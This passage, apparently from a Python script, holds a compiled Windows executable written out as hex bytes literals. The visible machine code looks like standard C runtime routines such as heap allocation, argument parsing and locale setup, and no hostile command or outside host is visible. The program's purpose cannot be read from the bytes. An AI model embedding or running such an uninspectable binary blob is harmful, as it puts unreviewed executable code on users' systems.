\\\nb'1083f8ff74258b46088a4d088808eb1633ff47578d450850ff750ce8083b000083c40c' \\\nb'8945fc397dfc7409834e0c2083c8ffeb088b450825ff0000005f5b5ec9c3558bec83ec' \\\nb'04897dfc8b7d088b4d0cc1e907660fefc0eb088da4240000000090660f7f07660f7f47' \\\nb'10660f7f4720660f7f4730660f7f4740660f7f4750660f7f4760660f7f47708dbf8000' \\\nb'00004975d08b7dfc8be55dc3558bec83ec10897dfc8b4508998bf833fa2bfa83e70f33' \\\nb'fa2bfa85ff753c8b4d108bd183e27f8955f43bca74122bca5150e873ffffff83c4088b' \\\nb'45088b55f485d274450345102bc28945f833c08b7df88b4df4f3aa8b4508eb2ef7df83' \\\nb'c710897df033c08b7d088b4df0f3aa8b45f08b4d088b551003c82bd0526a0051e87eff' \\\nb'ffff83c40c8b45088b7dfc8be55dc36a0c6800c64000e817e9ffff8365fc00660f28c1' \\\nb'c745e401000000eb238b45ec8b008b003d050000c0740a3d1d0000c0740333c0c333c0' \\\nb'40c38b65e88365e400c745fcfeffffff8b45e4e819e9ffffc38bff558bec83ec1833c0' \\\nb'538945fc8945f48945f8539c588bc83500002000509d9c5a2bd1741f519d33c00fa289' \\\nb'45f4895de88955ec894df0b8010000000fa28955fc8945f85bf745fc00000004740ee8' \\\nb'5cffffff85c0740533c040eb0233c05bc9c3e899ffffffa3e0fd400033c0c38bff558b' \\\nb'ec8b45088b00813863736de0752a8378100375248b40143d2005931974153d21059319' \\\nb'740e3d2205931974073d004099017505e8e616000033c05dc204006884424000ff15a0' \\\nb'b0400033c0c38bff558bec5151538b5d08565733f633ff897dfc3b1cfd28e440007409' \\\nb'47897dfc83ff1772ee83ff170f83770100006a03e8dc3c00005983f8010f8434010000' \\\nb'6a03e8cb3c00005985c0750d833d10e04000010f841b01000081fbfc0000000f844101' \\\nb'00006890b94000bb1403000053bfd8f5400057e82e3c000083c40c85c0740d56565656' \\\nb'56e883ebffff83c4146804010000bef1f54000566a00c605f5f6400000ff15e0b04000' \\\nb'85c075266878b9400068fb02000056e8ec3b000083c40c85c0740f33c05050505050e8' \\\nb'3febffff83c41456e8532c0000405983f83c763856e8462c000083ee3b03c66a03b9ec' \\\nb'f840006874b940002bc85150e8f43a000083c41485c0741133f65656565656e8fceaff' \\\nb'ff83c414eb0233f66870b940005357e85a3a000083c40c85c0740d5656565656e8d8ea' \\\nb'ffff83c4148b45fcff34c52ce440005357e8353a000083c40c85c0740d5656565656e8' \\\nb'b3eaffff83c41468102001006848b9400057e8a838000083c40ceb326af4ff15dcb040' \\\nb'008bd83bde742483fbff741f6a008d45f8508d34fd2ce44000ff36e8912b00005950ff' \\\nb'3653ff153cb040005f5e5bc9c36a03e8603b00005983f80174156a03e8533b00005985' \\\nb'c0751f833d10e0400001751668fc000000e829feffff68ff000000e81ffeffff5959c3' \\\nb'833d140e4100007505e863130000568b3548f240005733ff85f6751883c8ffe9a00000' \\\nb'003c3d74014756e8192b0000598d7406018a0684c075ea6a044757e83fe9ffff8bf859' \\\nb'59893d9cf5400085ff74cb8b3548f2400053eb4256e8e82a00008bd843803e3d597431' \\\nb'6a0153e811e9ffff5959890785c0744e565350e8443a000083c40c85c0740f33c05050' \\\nb'505050e897e9ffff83c41483c70403f3803e0075b9ff3548f24000e803e8ffff832548' \\\nb'f2400000832700c705080e41000100000033c0595b5f5ec3ff359cf54000e8dde7ffff' \\\nb'83259cf540000083c8ffebe48bff558bec518b4d105333c05689078bf28b550cc70101' \\\nb'00000039450874098b5d088345080489138945fc803e22751033c03945fcb3220f94c0' \\\nb'468945fceb3cff0785d274088a0688024289550c8a1e0fb6c35046e8943a00005985c0' \\\nb'7413ff07837d0c00740a8b4d0c8a06ff450c8801468b550c8b4d1084db7432837dfc00' \\\nb'75a980fb20740580fb09759f85d27404c642ff008365fc00803e000f84e90000008a06' \\\nb'3c2074043c09750646ebf34eebe3803e000f84d0000000837d080074098b4508834508' \\\nb'048910ff0133db4333c9eb024641803e5c74f9803e227526f6c101751f837dfc00740c' \\\nb'8d460180382275048bf0eb0d33c033db3945fc0f94c08945fcd1e985c974124985d274' \\\nb'04c6025c42ff0785c975f189550c8a0684c07455837dfc0075083c20744b3c09744785' \\\nb'db743d0fbec05085d27423e8af3900005985c0740d8a068b4d0cff450c880146ff078b' \\\nb'4d0c8a06ff450c8801eb0de88c3900005985c0740346ff07ff078b550c46e956ffffff' \\\nb'85d27407c602004289550cff078b4d10e90effffff8b45085e5b85c07403832000ff01' \\\nb'c9c38bff558bec83ec0c5333db5657391d140e41007505e8df1000006804010000bef0' \\\nb'f840005653881df4f94000ff15e0b04000a1200e41008935acf540003bc374078945fc' \\\nb'381875038975fc8b55fc8d45f85053538d7df4e80afeffff8b45f883c40c3dffffff3f' \\\nb'734a8b4df483f9ff73428bf8c1e7028d040f3bc1723650e842e6ffff8bf0593bf37429' \\\nb'8b55fc8d45f85003fe57568d7df4e8c9fdffff8b45f883c40c48a390f54000893594f5' \\\nb'400033c0eb0383c8ff5f5e5bc9c38bff558beca1f8f9400083ec0c53568b35f4b04000' \\\nb'5733db33ff3bc3752effd68bf83bfb740cc705f8f9400001000000eb23ff1580b04000' \\\nb'83f878750a6a0258a3f8f94000eb05a1f8f9400083f8010f85810000003bfb750fffd6' \\\nb'8bf83bfb750733c0e9ca0000008bc766391f740e404066391875f9404066391875f28b' \\\nb'35f0b040005353532bc753d1f840505753538945f4ffd68945f83bc3742f50e868e5ff' \\\nb'ff598945fc3bc374215353ff75f850ff75f4575353ffd685c0750cff75fce8b8e4ffff' \\\nb'59895dfc8b5dfc57ff15ecb040008bc3eb5c83f80274043bc37582ff15e8b040008bf0' \\\nb'3bf30f8472ffffff381e740a40381875fb40381875f62bc640508945f8e801e5ffff8b' \\\nb'f8593bfb750c56ff15e4b04000e945ffffffff75f85657e88f37000083c40c56ff15e4' \\\nb'b040008bc75f5e5bc9c36a546820c64000e8bae1ffff33ff897dfc8d459c50ff1500b1' \\\nb'4000c745fcfeffffff6a406a205e56e8ebe4ffff59593bc70f8414020000a3e0fc4000' \\\nb'8935c0fc40008d8800080000eb30c64004008308ffc640050a897808c6402400c64025' \\\nb'0ac640260a897838c640340083c0408b0de0fc400081c1000800003bc172cc66397dce' \\\nb'0f840a0100008b45d03bc70f84ff0000008b388d58048d043b8945e4be000800003bfe' \\\nb'7c028bfec745e001000000eb5b6a406a20e85de4ffff595985c074568b4de08d0c8de0' \\\nb'fc400089018305c0fc4000208d9000080000eb2ac64004008308ffc640050a83600800' \\\nb'80602480c640250ac640260a83603800c640340083c0408b1103d63bc272d2ff45e039' \\\nb'3dc0fc40007c9deb068b3dc0fc40008365e00085ff7e6d8b45e48b0883f9ff745683f9' \\\nb'fe74518a03a801744ba808750b51ff15fcb0400085c0743c8b75e08bc6c1f80583e61f' \\\nb'c1e606033485e0fc40008b45e48b0089068a0388460468a00f00008d460c50e8951100' \\\nb'00595985c00f84c9000000ff4608ff45e0438345e404397de07c9333db8bf3c1e60603' \\\nb'35e0fc40008b0683f8ff740b83f8fe7406804e0480eb72c646048185db75056af658eb' \\\nb'0a8bc348f7d81bc083c0f550ff15dcb040008bf883ffff744385ff743f57ff15fcb040' \\\nb'0085c07434893e25ff00000083f8027506804e0440eb0983f8037504804e040868a00f' \\\nb'00008d460c50e8ff100000595985c07437ff4608eb0a804e0440c706feffffff4383fb' \\\nb'030f8c67ffffffff35c0fc4000ff15f8b0400033c0eb1133c040c38b65e8c745fcfeff' \\\nb'ffff83c8ffe8b8dfffffc38bff56b8e0c44000bee0c44000578bf83bc6730f8b0785c0' \\\nb'7402ffd083c7043bfe72f15f5ec38bff56b8e8c44000bee8c44000578bf83bc6730f8b' \\\nb'0785c07402ffd083c7043bfe72f15f5ec38bff558bec33c03945086a000f94c0680010' \\\nb'000050ff1508b14000a3fcf9400085c075025dc333c040a3bcfc40005dc38bff558bec' \\\nb'83ec10a100e040008365f8008365fc005357bf4ee640bbbb0000ffff3bc7740d85c374' \\\nb'09f7d0a304e04000eb60568d45f850ff1518b140008b75fc3375f8ff1564b0400033f0' \\\nb'ff15c4b0400033f0ff1514b1400033f08d45f050ff1510b140008b45f43345f033f03b' \\\nb'f77507be4fe640bbeb0b85f375078bc6c1e0100bf0893500e04000f7d6893504e04000' \\\nb'5e5f5bc9c38325b8fc400000c38bff565733f6bf00fa4000833cf52ce5400001751e8d' \\\nb'04f528e54000893868a00f0000ff3083c718e8720f0000595985c0740c4683fe247cd2' \\\nb'33c0405f5ec38324f528e540000033c0ebf18bff538b1d04b1400056be28e54000578b' \\\nb'3e85ff7413837e0401740d57ffd357e867e0ffff8326005983c60881fe48e640007cdc' \\\nb'be28e540005f8b0685c07409837e0401750350ffd383c60881fe48e640007ce65e5bc3' \\\nb'8bff558bec8b4508ff34c528e54000ff15d8b040005dc36a0c6840c64000e893ddffff' \\\nb'33ff47897de433db391dfcf940007518e815f7ffff6a1ee863f5ffff68ff000000e856' \\\nb'd9ffff59598b75088d34f528e54000391e74048bc7eb6e6a18e85fe0ffff598bf83bfb' \\\nb'750fe87cdfffffc7000c00000033c0eb516a0ae85900000059895dfc391e752c68a00f' \\\nb'000057e8690e0000595985c0751757e895dfffff59e846dfffffc7000c000000895de4' \\\nb'eb0b893eeb0757e87adfffff59c745fcfeffffffe8090000008b45e4e82bddffffc36a' \\\nb'0ae828ffffff59c38bff558bec8b4508568d34c528e54000833e00751350e822ffffff' \\\nb'5985c075086a11e84ad8ffff59ff36ff15d4b040005e5dc38bff558bec53568b75088b' \\\nb'86bc00000033db573bc3746f3d58ed400074688b86b00000003bc3745e3918755a8b86' \\\nb'b80000003bc374173918751350e8e8deffffffb6bc000000e85537000059598b86b400' \\\nb'00003bc374173918751350e8c7deffffffb6bc000000e8ef3600005959ffb6b0000000' \\\nb'e8afdeffffffb6bc000000e8a4deffff59598b86c00000003bc37444391875408b86c4' \\\nb'0000002dfe00000050e883deffff8b86cc000000bf800000002bc750e870deffff8b86' \\\nb'd00000002bc750e862deffffffb6c0000000e857deffff83c4108dbed40000008b073d' \\\nb'98ec400074173998b4000000750f50e8d5340000ff37e830deffff59598d7e50c74508' \\\nb'06000000817ff850e6400074118b073bc3740b3918750750e80bdeffff59395ffc7412' \\\nb'8b47043bc3740b3918750750e8f4ddffff5983c710ff4d0875c756e8e5ddffff595f5e' \\\nb'5b5dc38bff558bec53568b3544b04000578b7d0857ffd68b87b000000085c0740350ff' \\\nb'd68b87b800000085c0740350ffd68b87b400000085c0740350ffd68b87c000000085c0' \\\nb'740350ffd68d5f50c7450806000000817bf850e6400074098b0385c0740350ffd6837b' \\\nb'fc00740a8b430485c0740350ffd683c310ff4d0875d68b87d400000005b400000050ff' \\\nb'd65f5e5b5dc38bff558bec578b7d0885ff0f848300000053568b3548b0400057ffd68b' \\\nb'87b000000085c0740350ffd68b87b800000085c0740350ffd68b87b400000085c07403' \\\nb'50ffd68b87c000000085c0740350ffd68d5f50c7450806000000817bf850e640007409' \\\nb'8b0385c0740350ffd6837bfc00740a8b430485c0740350ffd683c310ff4d0875d68b87' \\\nb'd400000005b400000050ffd65e5b8bc75f5dc385ff743785c07433568b303bf7742857' \\\nb'8938e8c1feffff5985f6741b56e845ffffff833e0059750f81fe58e64000740756e859' \\\nb'fdffff598bc75ec333c0c36a0c6860c64000e8eed9ffffe8bbd0ffff8bf0a188ec4000' \\\nb'8546707422837e6c00741ce8a4d0ffff8b706c85f675086a20e859d5ffff598bc6e801' \\\nb'daffffc36a0ce8d8fcffff598365fc008d466c8b3d30e74000e869ffffff8945e4c745' \\\nb'fcfeffffffe802000000ebc16a0ce8d3fbffff598b75e4c32da4030000742283e80474' \\\nb'1783e80d740c48740333c0c3b804040000c3b812040000c3b804080000c3b811040000' \\\nb'c38bff56578bf0680101000033ff8d461c5750e8d6c9ffff33c00fb7c88bc1897e0489' \\\nb'7e08897e0cc1e1100bc18d7e10abababb940e7400083c40c8d461c2bcebf010100008a' \\\nb'14018810404f75f78d861d010000be000100008a14088810404e75f75f5ec38bff558b' \\\nb'ec81ec1c050000a100e0400033c58945fc53578d85e8faffff50ff7604ff151cb14000' \\\nb'bf0001000085c00f84fb00000033c0888405fcfeffff403bc772f48a85eefaffffc685' \\\nb'fcfeffff2084c0742e8d9deffaffff0fb6c80fb6033bc877162bc140508d940dfcfeff' \\\nb'ff6a2052e813c9ffff83c40c438a034384c075d86a00ff760c8d85fcfaffffff760450' \\\nb'578d85fcfeffff506a016a00e88a36000033db53ff76048d85fcfdffff5750578d85fc' \\\nb'feffff5057ff760c53e89d3a000083c44453ff76048d85fcfcffff5750578d85fcfeff' \\\nb'ff506800020000ff760c53e8783a000083c42433c00fb78c45fcfafffff6c101740e80' \\\nb'4c061d108a8c05fcfdffffeb11f6c1027415804c061d208a8c05fcfcffff888c061d01' \\\nb'0000eb08c684061d01000000403bc772beeb568d861d010000c785e4faffff9fffffff' \\\nb'33c92985e4faffff8b95e4faffff8d840e1d01000003d08d5a2083fb19770c804c0e1d' \\\nb'108ad180c220eb0f83fa19770e804c0e1d208ad180ea208810eb03c60000413bcf72c2' \\\nb'8b4dfc5f33cd5be8e2c4ffffc9c36a0c6880c64000e852d7ffffe81fceffff8bf8a188' \\\nb'ec4000854770741d837f6c0074178b776885f675086a20e8c2d2ffff598bc6e86ad7ff' \\\nb'ffc36a0de841faffff598365fc008b77688975e43b3568eb4000743685f6741a56ff15' \\\nb'48b0400085c0750f81fe40e74000740756e86cd9ffff59a168eb40008947688b3568eb' \\\nb'40008975e456ff1544b04000c745fcfeffffffe805000000eb8e8b75e46a0de806f9ff' \\\nb'ff59c38bff558bec83ec105333db538d4df0e874deffff891d74fb400083fefe751ec7' \\\nb'0574fb400001000000ff1524b14000385dfc74458b4df8836170fdeb3c83fefd7512c7' \\\nb'0574fb400001000000ff1520b14000ebdb83fefc75128b45f08b4004c70574fb400001' \\\nb'000000ebc4385dfc74078b45f8836070fd8bc65bc9c38bff558bec83ec20a100e04000' \\\nb'33c58945fc538b5d0c568b750857e864ffffff8bf833f6897d083bfe750e8bc3e8b7fc' \\\nb'ffff33c0e99d0100008975e433c039b870eb40000f8491000000ff45e483c0303df000' \\\nb'000072e781ffe8fd00000f847001000081ffe9fd00000f84640100000fb7c750ff1528' \\\nb'b1400085c00f84520100008d45e85057ff151cb1400085c00f84330100006801010000' \\\nb'8d431c5650e833c6ffff33d24283c40c897b0489730c3955e80f86f8000000807dee00' \\\nb'0f84cf0000008d75ef8a0e84c90f84c20000000fb646ff0fb6c9e9a600000068010100' \\\nb'008d431c5650e8ecc5ffff8b4de483c40c6bc9308975e08db180eb40008975e4eb2a8a' \\\nb'460184c074280fb63e0fb6c0eb128b45e08a806ceb400008443b1d0fb64601473bf876' \\\nb'ea8b7d084646803e0075d18b75e4ff45e083c608837de0048975e472e98bc7897b04c7' \\\nb'430801000000e867fbffff6a0689430c8d43108d8974eb40005a668b31416689304140' \\\nb'404a75f38bf3e8d7fbffffe9b7feffff804c031d04403bc176f64646807eff000f8534' \\\nb'ffffff8d431eb9fe000000800808404975f98b4304e812fbffff89430c895308eb0389' \\\nb'730833c00fb7c88bc1c1e1100bc18d7b10abababeba8393574fb40000f8558feffff83' \\\nb'c8ff8b4dfc5f5e33cd5be8ddc1ffffc9c36a1468a0c64000e84dd4ffff834de0ffe816' \\\nb'cbffff8bf8897ddce8dcfcffff8b5f688b7508e875fdffff8945083b43040f84570100' \\\nb'006820020000e826d7ffff598bd885db0f8446010000b9880000008b77688bfbf3a583' \\\nb'230053ff7508e8b8fdffff59598945e085c00f85fc0000008b75dcff7668ff1548b040' \\\nb'0085c075118b46683d40e74000740750e848d6ffff59895e68538b3d44b04000ffd7f6' \\\nb'4670020f85ea000000f60588ec4000010f85dd0000006a0de8c2f6ffff598365fc008b' \\\nb'4304a384fb40008b4308a388fb40008b430ca38cfb400033c08945e483f8057d10668b' \\\nb'4c431066890c4578fb400040ebe833c08945e43d010100007d0d8a4c181c888860e940' \\\nb'0040ebe933c08945e43d000100007d108a8c181d010000888868ea400040ebe6ff3568' \\\nb'eb4000ff1548b0400085c07513a168eb40003d40e74000740750e88fd5ffff59891d68' \\\nb'eb400053ffd7c745fcfeffffffe802000000eb306a0de83bf5ffff59c3eb2583f8ff75' \\\nb'2081fb40e74000740753e859d5ffff59e80ad5ffffc70016000000eb048365e0008b45' \\\nb'e0e805d3ffffc3833d140e41000075126afde856feffff59c705140e41000100000033' \\\nb'c0c38bff558bec51535657ff35100e4100e8d6c6ffffff350c0e41008bf8897dfce8c6' \\\nb'c6ffff8bf059593bf70f82830000008bde2bdf8d430483f804727757e8113500008bf8' \\\nb'8d4304593bf87348b8000800003bf873028bc703c73bc7720f50ff75fce8d9d5ffff59' \\\nb'5985c075168d47103bc7724050ff75fce8c3d5ffff595985c07431c1fb02508d3498e8' \\\nb'e1c5ffff59a3100e4100ff7508e8d3c5ffff890683c60456e8c8c5ffff59a30c0e4100' \\\nb'8b450859eb0233c05f5e5bc9c38bff566a046a20e82dd5ffff8bf056e8a1c5ffff83c4' \\\nb'0ca3100e4100a30c0e410085f675056a18585ec383260033c05ec36a0c68c0c64000e8' \\\nb'aad1ffffe8a6cdffff8365fc00ff7508e8f8feffff598945e4c745fcfeffffffe80900' \\\nb'00008b45e4e8c6d1ffffc3e885cdffffc38bff558becff7508e8b7fffffff7d81bc0f7' \\\nb'd859485dc38bff565733ff8db760ec4000ff36e81ec5ffff83c70459890683ff2872e8' \\\nb'5f5ec36a0868e0c64000e836d1ffffe803c8ffff8b407885c074168365fc00ffd0eb07' \\\nb'33c040c38b65e8c745fcfeffffffe86d340000e84fd1ffffc368a6594000e8cdc4ffff' \\\nb'59a390fb4000c38bff558bec8b4508a394fb4000a398fb4000a39cfb4000a3a0fb4000' \\\nb'5dc38bff558bec8b45088b0d2ce0400056395004740f8bf16bf60c03750883c00c3bc6' \\\nb'72ec6bc90c034d085e3bc17305395004740233c05dc3ff359cfb4000e8e1c4ffff59c3' \\\nb'6a206800c74000e88ad0ffff33ff897de4897dd88b5d0883fb0b7f4c74158bc36a0259' \\\nb'2bc174222bc174082bc174642bc17544e8b7c6ffff8bf8897dd885ff751483c8ffe961' \\\nb'010000be94fb4000a194fb4000eb60ff775c8bd3e85dffffff8bf083c6088b06eb5a8b' \\\nb'c383e80f743c83e806742b48741ce850d2ffffc7001600000033c05050505050e82bd5' \\\nb'ffff83c414ebaebe9cfb4000a19cfb4000eb16be98fb4000a198fb4000eb0abea0fb40' \\\nb'00a1a0fb4000c745e40100000050e81dc4ffff8945e05933c0837de0010f84d8000000' \\\nb'3945e075076a03e8d3cdffff3945e4740750e8d1f2ffff5933c08945fc83fb08740a83' \\\nb'fb0b740583fb04751b8b4f60894dd489476083fb0875408b4f64894dd0c747648c0000' \\\nb'0083fb08752e8b0d20e04000894ddc8b0d24e040008b1520e0400003ca394ddc7d198b' \\\nb'4ddc6bc90c8b575c89441108ff45dcebdbe885c3ffff8906c745fcfeffffffe8150000' \\\nb'0083fb08751fff776453ff55e059eb198b5d088b7dd8837de40074086a00e85ff1ffff' \\\nb'59c353ff55e05983fb08740a83fb0b740583fb0475118b45d489476083fb0875068b45' \\\nb'd089476433c0e82ccfffffc38bff558bec8b4508a3a8fb40005dc38bff558bec8b4508' \\\nb'a3b4fb40005dc38bff558bec8b4508a3b8fb40005dc36a106820c74000e8adceffff83' \\\nb'65fc00ff750cff7508ff1530b140008945e4eb2f8b45ec8b008b008945e033c93d1700' \\\nb'00c00f94c18bc1c38b65e8817de0170000c075086a08ff15c0b040008365e400c745fc' \\\nb'feffffff8b45e4e89fceffffc38bff558bec8b4508a3bcfb40005dc38bff558becff35' \\\nb'bcfb4000e883c2ffff5985c0740fff7508ffd05985c0740533c0405dc333c05dc3cccc' \\\nb'5356578b5424108b4424148b4c2418555250515168585d400064ff3500000000a100e0' \\\nb'400033c489442408648925000000008b4424308b58088b4c242c33198b700c83fefe74' \\\nb'3b8b54243483fafe74043bf2762e8d34768d5cb3108b0b89480c837b040075cc680101' \\\nb'00008b4308e83a330000b9010000008b4308e84c330000ebb0648f050000000083c418' \\\nb'5f5e5bc38b4c2404f7410406000000b80100000074338b4424088b480833c8e8f2baff' \\\nb'ff558b6818ff700cff7010ff7014e83effffff83c40c5d8b4424088b5424108902b803' \\\nb'000000c3558b4c24088b29ff711cff7118ff7128e815ffffff83c40c5dc20400555657' \\\nb'538bea33c033db33d233f633ffffd15b5f5e5dc38bea8bf18bc16a01e89732000033c0' \\\nb'33db33c933d233ffffe6558bec5356576a006a0068ff5d400051e8bf4500005f5e5b5d' \\\nb'c3558b6c24085251ff742414e8b4feffff83c40c5dc208008bff558bec8b0da0fc4000' \\\nb'a1a4fc40006bc91403c8eb118b55082b500c81fa00001000720983c0143bc172eb33c0' \\\nb'5dc38bff558bec83ec108b4d088b4110568b750c578bfe2b790c83c6fcc1ef0f8bcf69' \\\nb'c9040200008d8c0144010000894df08b0e49894dfcf6c1010f85d3020000538d1c318b' \\\nb'138955f48b56fc8955f88b55f4895d0cf6c2017574c1fa044a83fa3f76036a3f5a8b4b' \\\nb'043b4b087542bb0000008083fa2073198bcad3eb8d4c0204f7d3215cb844fe0975238b' \\\nb'4d082119eb1c8d4ae0d3eb8d4c0204f7d3219cb8c4000000fe0975068b4d082159048b' \\\nb'5d0c8b53088b5b048b4dfc034df4895a048b550c8b5a048b5208895308894dfc8bd1c1' \\\nb'fa044a83fa3f76036a3f5a8b5df883e301895df40f858f0000002b75f88b5df8c1fb04' \\\nb'6a3f89750c4b5e3bde76028bde034df88bd1c1fa044a894dfc3bd676028bd63bda745e' \\\nb'8b4d0c8b71043b7108753bbe0000008083fb2073178bcbd3eef7d62174b844fe4c0304' \\\nb'75218b4d082131eb1a8d4be0d3eef7d621b4b8c4000000fe4c030475068b4d08217104' \\\nb'8b4d0c8b71088b4904894e048b4d0c8b71048b4908894e088b750ceb038b5d08837df4' \\\nb'0075083bda0f84800000008b4df08d0cd18b5904894e08895e048971048b4e04897108' \\\nb'8b4e043b4e0875608a4c0204884d0ffec1884c020483fa207325807d0f00750e8bcabb' \\\nb'00000080d3eb8b4d080919bb000000808bcad3eb8d44b8440918eb29807d0f0075108d' \\\nb'4ae0bb00000080d3eb8b4d080959048d4ae0ba00000080d3ea8d84b8c400000009108b' \\\nb'45fc8906894430fc8b45f0ff080f85f3000000a1c0fb400085c00f84d80000008b0db4' \\\nb'fc40008b350cb140006800400000c1e10f03480cbb008000005351ffd68b0db4fc4000' \\\nb'a1c0fb4000ba00000080d3ea095008a1c0fb40008b40108b0db4fc400083a488c40000' \\\nb'0000a1c0fb40008b4010fe4843a1c0fb40008b4810807943007509836004fea1c0fb40' \\\nb'00837808ff7565536a00ff700cffd6a1c0fb4000ff70106a00ff35fcf94000ff15d0b0' \\\nb'40008b0da0fc4000a1c0fb40006bc9148b15a4fc40002bc88d4c11ec518d48145150e8' \\\nb'742f00008b450883c40cff0da0fc40003b05c0fb40007604836d0814a1a4fc4000a3ac' \\\nb'fc40008b4508a3c0fb4000893db4fc40005b5f5ec9c3a1b0fc4000568b35a0fc400057' \\\nb'33ff3bf0753483c0106bc01450ff35a4fc400057ff35fcf94000ff1540b140003bc775' \\\nb'0433c0eb788305b0fc4000108b35a0fc4000a3a4fc40006bf6140335a4fc400068c441' \\\nb'00006a08ff35fcf94000ff1538b140008946103bc774c76a0468002000006800001000' \\\nb'57ff153cb1400089460c3bc77512ff761057ff35fcf94000ff15d0b04000eb9b834e08' \\\nb'ff893e897e04ff05a0fc40008b46108308ff8bc65f5ec38bff558bec51518b4d088b41' \\\nb'0853568b71105733dbeb0303c04385c07df98bc369c0040200008d8430440100006a3f' \\\nb'8945f85a89400889400483c0084a75f46a048bfb6800100000c1e70f03790c68008000' \\\nb'0057ff153cb1400085c0750883c8ffe99d0000008d97007000008955fc3bfa77438bca' \\\nb'2bcfc1e90c8d4710418348f8ff8388ec0f0000ff8d90fc0f000089108d90fcefffffc7' \\\nb'40fcf00f0000895004c780e80f0000f00f000005001000004975cb8b55fc8b45f805f8' \\\nb'0100008d4f0c8948048941088d4a0c89480889410483649e440033ff4789bc9ec40000' \\\nb'008a46438ac8fec184c08b4508884e437503097804ba000000808bcbd3eaf7d2215008' \\\nb'8bc35f5e5bc9c38bff558bec83ec0c8b4d088b411053568b7510578b7d0c8bd72b510c' \\\nb'83c617c1ea0f8bca69c9040200008d8c0144010000894df48b4ffc83e6f0493bf18d7c' \\\nb'39fc8b1f894d10895dfc0f8e55010000f6c3010f854501000003d93bf30f8f3b010000' \\\nb'8b4dfcc1f90449894df883f93f76066a3f59894df88b5f043b5f087543bb0000008083' \\\nb'f920731ad3eb8b4df88d4c0104f7d3215c9044fe0975268b4d082119eb1f83c1e0d3eb' \\\nb'8b4df88d4c0104f7d3219c90c4000000fe0975068b4d082159048b4f088b5f04895904' \\\nb'8b4f048b7f088979088b4d102bce014dfc837dfc000f8ea50000008b7dfc8b4d0cc1ff' \\\nb'044f8d4c31fc83ff3f76036a3f5f8b5df48d1cfb895d108b5b048959048b5d10895908' \\\nb'894b048b5904894b088b59043b590875578a4c0704884d13fec1884c070483ff20731c' \\\nb'807d1300750e8bcfbb00000080d3eb8b4d0809198d4490448bcfeb20807d130075108d' \\\nb'4fe0bb00000080d3eb8b4d080959048d8490c40000008d4fe0ba00000080d3ea09108b' \\\nb'550c8b4dfc8d4432fc8908894c01fceb038b550c8d46018942fc894432f8e93c010000' \\\nb'33c0e9380100000f8d2f0100008b5d0c2975108d4e01894bfc8d5c33fc8b7510c1fe04' \\\nb'4e895d0c894bfc83fe3f76036a3f5ef645fc010f85800000008b75fcc1fe044e83fe3f' \\\nb'76036a3f5e8b4f043b4f087542bb0000008083fe2073198bced3eb8d740604f7d3215c' \\\nb'9044fe0e75238b4d082119eb1c8d4ee0d3eb8d4c0604f7d3219c90c4000000fe097506' \\\nb'8b4d082159048b5d0c8b4f088b77048971048b77088b4f048971088b75100375fc8975' \\\nb'10c1fe044e83fe3f76036a3f5e8b4df48d0cf18b7904894b08897b048959048b4b0489' \\\nb'59088b4b043b4b0875578a4c0604884d0ffec1884c060483fe20731c807d0f00750e8b' \\\nb'cebf00000080d3ef8b4d0809398d4490448bceeb20807d0f0075108d4ee0bf00000080' \\\nb'd3ef8b4d080979048d8490c40000008d4ee0ba00000080d3ea09108b45108903894418' \\\nb'fc33c0405f5e5bc9c38bff558bec83ec14a1a0fc40008b4d086bc0140305a4fc400083' \\\nb'c11783e1f0894df0c1f904534983f92056577d0b83ceffd3ee834df8ffeb0d83c1e083' \\\nb'caff33f6d3ea8955f88b0dacfc40008bd9eb118b53048b3b2355f823fe0bd7750a83c3' \\\nb'14895d083bd872e83bd8757f8b1da4fc4000eb118b53048b3b2355f823fe0bd7750a83' \\\nb'c314895d083bd972e83bd9755beb0c837b0800750a83c314895d083bd872f03bd87531' \\\nb'8b1da4fc4000eb09837b0800750a83c314895d083bd972f03bd97515e8a0faffff8bd8' \\\nb'895d0885db750733c0e90902000053e83afbffff598b4b1089018b43108338ff74e589' \\\nb'1dacfc40008b43108b108955fc83faff74148b8c90c40000008b7c9044234df823fe0b' \\\nb'cf75298365fc008b90c40000008d48448b392355f823fe0bd7750eff45fc8b91840000' \\\nb'0083c104ebe78b55fc8bca69c9040200008d8c0144010000894df48b4c904433ff23ce' \\\nb'75128b8c90c4000000234df86a205feb0303c94785c97df98b4df48b54f9048b0a2b4d' \\\nb'f08bf1c1fe044e83fe3f894df87e036a3f5e3bf70f84010100008b4a043b4a08755c83' \\\nb'ff20bb000000807d268bcfd3eb8b4dfc8d7c3804f7d3895dec235c8844895c8844fe0f' \\\nb'75338b4dec8b5d08210beb2c8d4fe0d3eb8b4dfc8d8c88c40000008d7c3804f7d32119' \\\nb'fe0f895dec750b8b5d088b4dec214b04eb038b5d08837df8008b4a088b7a048979048b' \\\nb'4a048b7a088979080f848d0000008b4df48d0cf18b7904894a08897a048951048b4a04' \\\nb'8951088b4a043b4a08755e8a4c0604884d0bfec183fe20884c06047d23807d0b00750b' \\\nb'bf000000808bced3ef093b8bcebf00000080d3ef8b4dfc097c8844eb29807d0b00750d' \\\nb'8d4ee0bf00000080d3ef097b048b4dfc8dbc88c40000008d4ee0be00000080d3ee0937' \\\nb'8b4df885c9740b890a894c11fceb038b4df88b75f003d18d4e01890a894c32fc8b75f4' \\\nb'8b0e8d7901893e85c9751a3b1dc0fb400075128b4dfc3b0db4fc400075078325c0fb40' \\\nb'00008b4dfc89088d42045f5e5bc9c36a0c6840c74000e8fdc1ffff8365e4008b75083b' \\\nb'35a8fc400077226a04e80be5ffff598365fc0056e8eefcffff598945e4c745fcfeffff' \\\nb'ffe8090000008b45e4e809c2ffffc36a04e806e4ffff59c38bff558bec568b750883fe' \\\nb'e00f87a100000053578b3d38b14000833dfcf94000007518e829dbffff6a1ee877d9ff' \\\nb'ff68ff000000e86abdffff5959a1bcfc400083f801750e85f674048bc6eb0333c04050' \\\nb'eb1c83f803750b56e853ffffff5985c0751685f675014683c60f83e6f0566a00ff35fc' \\\nb'f94000ffd78bd885db752e6a0c5e3905e4fb40007415ff7508e8def2ffff5985c0740f' \\\nb'8b7508e97bffffffe84cc3ffff8930e845c3ffff89305f8bc35beb1456e8b7f2ffff59' \\\nb'e831c3ffffc7000c00000033c05e5dc36a0c6860c74000e8e4c0ffff8b4d0833ff3bcf' \\\nb'762e6ae05833d2f7f13b450c1bc040751fe8fdc2ffffc7000c0000005757575757e8da' \\\nb'c5ffff83c41433c0e9d50000000faf4d0c8bf18975083bf7750333f64633db895de483' \\\nb'fee07769833dbcfc400003754b83c60f83e6f089750c8b45083b05a8fc400077376a04' 